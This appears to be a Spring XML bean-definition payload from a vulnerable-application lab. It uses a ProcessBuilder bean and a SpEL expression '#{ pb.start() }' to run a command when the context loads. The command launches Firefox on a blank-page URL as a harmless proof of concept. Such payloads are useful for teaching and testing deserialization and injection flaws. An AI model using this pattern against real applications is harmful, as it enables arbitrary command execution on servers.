spel.xml

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder">
    <constructor-arg>
      <array value-type="java.lang.String">
        <value>/usr/bin/firefox</value>
        <value>https://this-page-intentionally-left-blank.org/</value>
      </array>
    </constructor-arg>
  </bean>
  <bean id="test" class="com.javabb.vulnapp.lab4.Message">
     <property name="body" value="#{ pb.start() }"/>
  </bean>
</beans>